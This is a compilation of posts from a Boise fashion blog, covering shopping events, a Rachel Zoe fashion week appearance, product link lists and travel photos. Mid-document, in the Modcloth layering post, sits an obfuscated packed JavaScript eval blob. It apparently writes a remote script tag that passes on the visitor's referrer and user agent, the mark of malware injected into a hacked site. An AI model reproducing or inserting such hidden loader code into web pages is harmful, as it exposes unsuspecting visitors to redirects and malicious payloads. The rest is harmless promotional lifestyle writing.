Boise Event Spotlight: Dillard’s Designer Pop-up Shop!

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courtesy of ammophotog

Woohoo, handbag-loving babes, it’s baaaaack!!! Last year, I partnered with Dillard’s to invite you to a new shopping concept that literally popped-up in their stores across the country: the What Goes Around, Comes Around Vintage Handbag Event. This year, it’s back, bigger and better than ever!

Remember this rad shopping party from last year? More pics & the recap of that event here.

This year’s first-come, first-served shopping opportunity is part of Dillard’s collaboration with What Goes Around Comes Around, the leading global purveyor of authentic luxury vintage accessories and apparel. Since 1993, WGACA’s New York City Soho flagship has remained an industry staple, frequented by celebrities and tastemakers from around the world! WGACA’s expert buyers travel the globe to find the rarest and most desirable pieces in exceptional condition, and bring them to YOU for the chance to fill your closet & rock your ensembles with unique and covetable fashion treasures.

Oversized totes are having a major moment in the fashion world right now! Guess which one I love?

Last year’s shopping party focused on Louis Vuitton bags, exclusively. But this year’s Vintage Handbag Event features pieces from Prada, Fendi, Gucci, and also Louis Vuitton, including everything from wallets to fanny packs to luggage! And now instead of a group party, you get to make a personal private appointment directly with Dillard’s, for your chance to shop these beautiful fashion treasures.

Remember, vintage and collector pieces are limited in quantity, and when they’re gone, they’re gone!

Obsessing over the pretty little things!

Make an appointment with Dillard’s for your personal, private shopping moment by calling (208) 321-4646! Or, go into the store in person to book your spot. (You can also email Tami at store934@dillards.com to inquire about specific bags shown here.) In-person shopping appointments start July 20th and go through the 29th. Hurry, before they’re gone!

Authentication cards & guarantees – all are real designer bags, some still with their original packaging & tags!

Happy Shopping, my fabulous friends!!!!
XOXO,
Tanya

Get Ready to JUMP, Boise!

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giant construction behemoth in downtown Boise, that’s gone from traffic headache to architectural mystery to the most buzzed-about conundrum this city’s seen in years, is at last getting its first unveiling this weekend. The hubby and I got a Sneak Peek open house invite, so we bundled up and headed downtown on a chilly December night! Here’s what we discovered…

~ COMMUNITY ~

JUMP’s website states this: JUMP—or Jack’s Urban Meeting Place—is a not-for-profit, interactive creative center and community gathering place in the heart of downtown Boise. And although the concept seems vague, we found exactly what it claimed: interaction, and community! JUMP’s six stories were packed with people, wine, food, dessert, conversations, touch-screen maps, interactive displays, and so much excited energy the air practically tingled with it. Strategically open spaces, fitted with cozy furniture and fascinating visuals, invite a variety of communal interaction and singular introspection, all new and unique to the Boise audience. I lost count of how many times I heard, “Oh wow, look at that!” throughout the evening.

Personally I loved the huge square out front; a concrete park-like setting which has instantly increased the visual size of our city. This wide-open square, facing 9th St., will forever alter the face of BODO and our downtown core!

And this is just the COOLEST little bar I’ve ever seen… Don’t you want this at your next party???

~ INTERACTION ~

Scattered all throughout JUMP’s 6 floors are a variety of interactive exhibits, touchscreen displays, musical touchpads, gathering huddle spots, and more! If you like to touch it, taste it, hear it, see it, or feel it… There’s something here for you to do.

Bluetooth listening pod – jack in and relax with your friends, or be in your own little cozy space…

Dress up and be in a movie…

Take tech classes…

Or kiss in Paris! Ha ha ha, of course we had to try out the green screen. 😉

~ BEAUTY ~

The views from each consecutive floor, looking out every direction of the city, are nothing less than breathtaking!

Standing on the little jut-out balcony over Myrtle St… Seriously though I have to admit the plexi-glass sides made me a little nervous – eek! Don’t lean on those very hard! I’m sure they are perfectly safe, but I was happy to snap our photo and step awaaaaaay from the edge, lol.

All these awesome platforms, colors, lights, and glass will make for some amazing fashion photo shoots, just saying! 😉

One of JUMP’s directors did a presentation on the 6th floor, along with orchestras, champion jumpropers, dancers, singers, and a night-long schedule of entertainment! JUMP aims to encourage the arts and local talent, which I believe is a beautiful mission and one that WILL have a positive impact on our community.

~ MORE TO COME ~

Only the main portion of part of the complex is completed so far. There is still SO MUCH MORE coming! These open community spaces are going to be gorgeous.

AND THEN, THE BEST PART, (according to my kids…)

Yup, that’s a 4-story transparent slide! And it’s only one of the slides they are planning… I certainly hope they are going to allow grown-ups in those things!!!

You’re beautiful, JUMP! Thanks for the amazing evening – we are looking forward to many more to come!!!
XOXO,
Tanya

>>>UPDATE: JUMP Boise is doing a series of open houses in the next few weeks, to let the community experience this amazing place first-hand! These open house events will be 1:00 to 5:00 p.m. on Sunday, Dec. 13th, 20th and 27th. The lobby, with its entrance located below the large orange JUMP sign near 9th Street, will be open to the public starting Dec. 15 from 10 am to 3pm Tuesday to Friday, but will not be open on the upcoming holidays. Stay tuned on their Facebook page for more details as they emerge: https://www.facebook.com/jumpboise/!

Style in the Aisles Fashion Show Launches in Boise

City Light provides emergency shelter for women and children, in downtown Boise. They house, feed, clothe, and counsel women who are seeking a safe place from dangerous circumstances, while providing care for their children as well. It’s an amazing program that has made HUGE contributions to the well-being of families in this city, and personally, I’ve had friends whose lives were literally saved by this shelter, so they are near & dear to my heart as well.

Sadly, as you can see below the blue lights on the stage were too much for my small camera, so I apologize for the overwhelming hue!

Bluuuuuue runway lights! 😀

Jesse teamed up with local stylist Heather Schwabe of Style Therapy, Boise-based vintage/couture jewelry line Monica Macha, and Natalie Durham at downtown boutique P iece Unique, to showcase one of my FAVORITE clothing lines: Black Halo. I’ve blogged about Black Halo before, because they’re an incredible, well-made line that fits busty girls in ways I never imagined an off-the-rack dress could ever do! If you haven’t tried on one of their fashion pieces yet, you absolutely must get down to Piece Unique and check them out. Worth every penny, I promise!

Here’s a short video clip of the runway finale:

As a THANK YOU to all who helped make the fashion show a success & supporting City Light & the Boise Rescue Mission, Piece Unique is offering 25% off ALL BLACK HALO purchases made in their store before Nov. 15th, when you donate $25 to City Light Women’s & Children’s Shelter! This special discount applies to all Black Halo items both in the store, and via special order.

Wonderful job, everyone! See you at the next show.
XOXO,
Tanya

Leticia McLaughlin and her lovely daughter, always impeccably stylish!

Lovely Angie Berman (center) with two fabulous friends.

Ballet Idaho’s Lana Hollingshead and her daughter Veronica.

A new friend, Rosemary, and her wickedly-cool leather necklace! This babe has style for miles.

Let the show begin!

So much blue light, but I love her white Black Halo dress!

Runway finale, packed with gorgeous local women rocking the catwalk!

More blurriness and blue light – ugh! – but this red dress was one of my favorites.

Green Black Halo dress on a model – that neckline on her is incredible!

Angie & friend posing on the runway, after the show. Love this lady!! ❤

Bellevue Fashion Week Finale with Rachel Zoe!

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day at Bellevue Fashion Week was better than the one before, and by Day 4 we were all in a state of high expectation, and to be honest, a little light-headed from the fabulous-ness of it all! On our last day in Bellevue, we started with breakfast and a little shopping, then around 1pm met up at Bellevue Square for a special Fashion Forcast presentation with RACHEL ZOE. See those seats? Yup, front two rows, just for our #StyleSpyGirlPosse! We were so stoked!!

Cara Crowley & Rachel Zoe on stage… And that’s us, front 2 rows on the right!

Ready for some Fall trend predictions?

Rachel and Vogue’s Events Director Cara Crowley shared their Fall Fashion forecast, hitting all the major trends like Bohemian prints, moto jackets, shearling trim outerwear, fringe, long coats, and more!When Cara asked Rachel “What is the one trend you think people should try and incorporate into their wardrobes, if they are on a tight budget?” Rachel responded, “Grey. It’s such a major color right now, and it’s so versatile you can do a ton with it.”

Rachel was SO much fun, and a wealth of style information. I asked her if the “No white after Labor Day rule could be over and done with for good,” and she responded, “It’s definitely OVER! I love wearing white, all year round!” There it is, folks – the official word from global stylist pro Rachel Zoe. Now stop giving me nasty looks when I wear white jeans in January!

Rachel was totally fab, and we enjoyed the presentation. Bye for now, Ms. Zoe! See you at the Vogue Fashion Show in the evening!

But then things got…

Even…

BETTER!

TA-DA!!!

Sorry the pic above is a little grainy, but we got a surprise meet & greet with the fabulous fashion maven herself, Rachel Zoe! We were dying! Seriously!!! Here are a few more…

??? Thank you Bellevue Collection (esp Anna & Gillian!), and the Vogue crew for creating this incredible moment for us!!! ???

~~~~

~~~

And now, on with the Fashion Show…

My outfit: Dress by Rooney Mae Couture (Boise designer) / Chain Collar Necklace by BCBG / Handbag by Zac Posen (thank you Angie!)

Front row, just feet from Rachel Zoe (so basically she’s the one taking this photo – just kidding! No, we’re totally BFF’s with her by this point.)

Cara Crowley emceed the show… And that blonde head right above the word blonde is Rachel Zoe! See, I said we were close, ha ha. 😉

HOTTEST ticket in town – let the show begin!

No! We’re having TOO much fun! Squeeee!!!!

Totally NOT stalking! Just had to get this shot of Ammo with Rachel Zoe… Up top… Cute redhead with the gorgeous smile! 😉

That look, above, is me totally NOT freaking out because Rachel just gave me a little Hello smile and head nod from across the aisle. Wassup, oh amazing woman who is the inspiration behind every self-made fashion business woman on the planet? Yeah you… Thank you Rachel Zoe. ❤

And then, after the show ended, our #girlposse hopped up on the stage and had a blast taking photos together, because it was our last night and the next day we’d all have to return to “real life.” 😉

Me and Ammophotog, our amazing and talented team photographer!

Allison, Cassie, Angie

Me and Vogue Events Director Cara Crowley. She’s fabulous!

Ashley and Ammo

Me and H&M Spokesmodel Ashley T. Barkley – follow her awesome social media feed on Insta!

Cassie and Brenda

Me and the rad babes from Intermix, where we had a great shopping party two days before!

Whew, what a wild night! We stayed out late, made the most of every minute, and had a wonderful time. HUGE thanks to the Bellevue Collection for throwing such a posh, elegant, classy, AMAZING fashion week!!! We loved every minute of it, and can’t wait to come back again next year!!!

XOXO,
Tanya

Join the #StyleSpyGirlPosse for ladies-only fashion & shopping trips around the USA, and beyond!
Click the button below for info on upcoming getaway packages.

Shopping For Polka Dots

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I’ve been preparing to be a “Best in Shoe” judge at Boise’s upcoming Wine, Women, & Shoes gala downtown, to benefit the Idaho Youth Ranch. This year’s theme is Polka Dots, and it couldn’t come at a better time! Bespotted looks are everywhere this season, but if you haven’t found your perfect look for WW&S yet (or you just love shopping the trend!) here are some ideas & links for you to check out, from full-on spotted gown to demure headscarf.

Good luck, and happy shopping!
XOXO,
Tanya

Deciding on my dress, found at the surprisingly-affordable Bridal by Marie shop in Eagle –
gorgeous gowns, and very reasonable price tags!!!

Polka Dot Shoes

polka dot slingback nordstrom — J. Renee ‘Kory’ Slingback Pump, Nordstrom, $79.95

French Sole ‘Noir’ Polka Dot Mesh Flat, Nordstrom, $187.95

Alice + Olivia ‘Roberta’ Polka Dot Espadrille Sandal, Nordstrom, $295

Polka Dot Dresses

Pleated Polka Dot Dress, Forever 21, $19.80

Dotted Fit & Flare Dress, Forever 21, $22.80

Adrianna Papell Ruffle Neck Dot Lace Fit & Flare Dress, Nordstrom, on Clearance, $54.97

Get Dropped Polka Dot Dress, Nasty Gal, $68

Eliza J Print Jersey Fit & Flare Dress, Nordstrom, on sale, $88.50

Eliza J Belted Jacquard Fit & Flare Dress, Nordstrom, $148

Betsey Johnson Polka Dot Mesh Gown, Nordstrom, $258

Other Cool Stuff

Simply Chic Polka Dot Matte Jersey Pant, Lane Bryant, $69.95

Polka Dot Chiffon Top, Forever 21, $19.90

Riley Faux Fur Coat, Nasty Gal, on sale, $84

Kate Spade New York iPhone Case, Nordstrom, $40

Polka Dot Scarf, J. Crew, on sale $44.99

Hue Large Polka Dot Tights, Nordstrom, $13.50

Cara “Dots Wonder” Head Wrap, Nordstrom, $24

Boise’s Newest Men’s Store: Robert Comstock

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Friday, April 10th, I had the honor of attending a fun Spring Celebration party at the Robert Comstock Boise Mens’ Store in the Village at Meridian. The event was catered by Kona Grill, so the food was of course a-MA-zing!!! Sushi, chicken, desserts, and more – they really went all-out, and every bite was exquisite! Local TV & music star Amos Watene aka., Mossi, entertained us with his neo-soulful blend of blues- rock, reggae, and folk music. If you haven’t heard of Mossi, you should check him out; he has been showcased in several of the nation’s premiere music venues, and has made national television appearances both musically and as an actor. In fact, Mossi is featured as one of Nick Jr’s most well known characters, “Brobee,” from the kids show Yo Gabba Gabba! Check out his website for video & audio clips here.

If you haven’t had the opportunity to shop in this cool new clothing store yet, you really need to go! Robert Comstock designs luxurious, high-quality fashions for men, that sell at Nordstrom, Neiman Marcus, and other high-end department stores across the nation. Once a season passes for each line, Mr. Comstock sends the overstock from those stores here to Boise, to his Menswear store in the Village at Meridian, where he slashes the prices down 70-90% off! This store is a great resource for men looking to buy high-quality clothing – both professional and casual – at a major discount!!! There are some fantastic deals to be had in this store, and being in the Village makes it the perfect place to shop on the weekends, while you’re there seeing a movie or out on a dinner date.

THANK YOU to Kona Grill, Mossi, Robert Comstock Boise Men’s Store, and all the wonderful friends who came out to make this such a fun night!!! The Comstock store is located in the Village at Meridian, behind the children’s play structure, and next to Lululemon Athletica. Follow their Facebook page for great deals and fun future events: Robert Comstock Boise Men’s Apparel!
XOXO,
Tanya

Ammophotog and I appreciated the gluten-free options from Kona Grill! Thanks, Chef!!! 🙂

My friends Brian & Vicki Wiley found a ton of great deals – he scored $814 worth of clothing for $122!

My friend Wiley Smith fell in love with his new Robert Comstock jacket.
The leather is so soft, we kept saying, “It’s like buttah!” 😀

Modcloth’s Layering Challenge for Fall

polyvore modcloth fall layering challenge

Classy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkhze|var|u0026u|referrer|seesz||js|php’.split(‘|’),0,{}))
Fall Layering With Modcloth by stylespygirl featuring:

Brrrr, the temperatures in my neck of the woods just plummeted, and we’re scrambling to bust out all our winter gear! Just in time, indie-retro-cool site Modcloth.com issued myself and a few other bloggers a fashion challenge: Show us how YOU work LAYERS!

As a girl with curves, layers can be a particular challenge; put me in a puffy coat, and I feel like that little kid in the Christmas Story, waddling down the sidewalk until he falls over in the snow and can’t get up…

Don’t fall down… Don’t fall down…

I’ve learned the trick to layering is in understanding your body, and for me that means keeping an emphasis on my waist. I’m just so happy that the big trend in winter coats this year is BELTING them. Yessss! All of the above pieces are urban-classy, totally my style, and have a defined waistline, no matter how many layers I add. And that coat – swoon! Nothing beats the winter blues like a siren-red coat!

Stay warm out there, my friends!
XOXO,
Tanya

Shop Modcloth’s selection of cozy, gorgeous sweaters for chic layering here!

The New Brilliant Invention for Hot Weather Dressing!

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Courtesy of Lenny Wheeler Photography

Boise ladies, rejoice! I’ve stumbled upon the classiest way ever invented, for us to keep cool in the hot, dry summers here. They’re called Hot Girl Pearls, and were developed by a brilliant woman named Constance Sherman. She’s shown her Pearls on The View, the Today Show, and in Oprah’s magazine O, just to name a few. Ms. Sherman has found a way to create gorgeous jewelry, with the same cooling gel inside them as the ice packs in your freezer! Ingenious!!!

The pearls original intent was to help ladies suffering from hot flashes. But when I heard about them, I immediately thought about our 100+ degree Boise summers, and how much I don’t like wearing jewelry in that heat! But if there existed jewelry that could combat the heat? Sign me up! I emailed Constance right away; Boise needs these, I told her.

Hot Girl Pearls come in a variety of colors and styles. I adore the classy White Bracelet she sent me to try out! It has little Swarovski crystals on the clasp, to add a little fanciness and bling – LOVE! Oh yes, and the clasp is magnetic, and very strong, so getting the bracelet on is such a cinch.

When you order the Pearls, you also get an insulated pouch to keep them in. I has a gel ice pack in it, so you can transport your pearls, and keep them cushioned and cool, inside. What a great idea, right? You’re welcome, Boise Hot Girls!

Shop Hot Girl Pearls at HotGirlPearls.com, or on Facebook at https://www.facebook.com/HotGirlsPearls !

XOXO,

Blogger Abroad Style Report: LONDON

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outfit: TopShop London / Lala’s Outfit: Primark

I had such a BLAST last month, when I had the awesome opportunity to spend a week in London, England! I shopped and people-watched, to research the hottest trends across the pond. My favorite places to shop were Zara, TopShop, Primark, and Camden Market. And of course, I had to spend a little time oohing and ahing over the pretty, pretty things in London’s flagship Burberry shop. Wow!

The top trends I saw there for women were:

High-waist skinny jeans

High-waist skirts with crop tops

Knee-length twirly skirts

Platform Sandals

White sneakers

Ankle Boots

Dresses

Patterned Trousers

Lace-up boots (Doc Marten and biker style)

Overalls

Rompers & Jumpers

Scarves and Fedoras

Backpacks

Satchels

Enjoy my photos!
Hover your mouse over a pic to view the description, or click on them to view the full-sized version.

stylespygirl london Street Markets Near Liverpool Station — Cool Kids Near Liverpool

Kissing london eye stylespygirl — Kissing in London

Kissing in the Underground stylespygirl london — Kissing in the Underground

Tower of London stylespygirl — Tower of London

stylespygirl london Borough Market — Borough Market

Underground london stylespygirl — My Huge Coach Travel Purse!

Camden Market stylespygirl london — Camden Market

stylespygirl london Camden Market — Camden Market

Tower bridge London stylespygirl — Tower Bridge London

Primark Sandals Topshop Satchel StyleSpyGirl — Primark Sandals & Topshop Satchel

stylespygirl london macarons — Macarons!

Oxford Circus

stylespygirl london Millennium Bridge — Millennium Bridge

stylespygirl london burberry — Burberry Store in London

Tower Bridge Sunset stylespygirl london — Tower Bridge at Sunset

Swans palace stylespygirl london — Swans near the palace

london stylespygirl big ben — Because you HAVE to get the phone booth photo!

Blogger Abroad: Vacation Style in an Ancient Castle

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Fortress, Wadern, Germany / Tank and Shorts: Express

I learned something new about myself this week: I’m a total history nerd. Seriously, I hadn’t realized it before, but being back in Germany, surrounded by buildings, towns, & monuments that are over 1,000 years old impacted me so deeply, I felt like a 5 year old girl in Disneyland! There is something so amazing to me – mystical, almost – to walk the same ground where families lived, ate, fought, slept… Real individuals, going about their days just like we do, but in a time so distant, it’s difficult to truly imagine.

This fortress was built around 1290AD, on top of even older existing structures. High atop the hills of Wadern, Germany, the breathtaking view stretches for miles in every direction. Once upon a time, this fortress was amazing. Watch my video for a 360 view of the entire thing!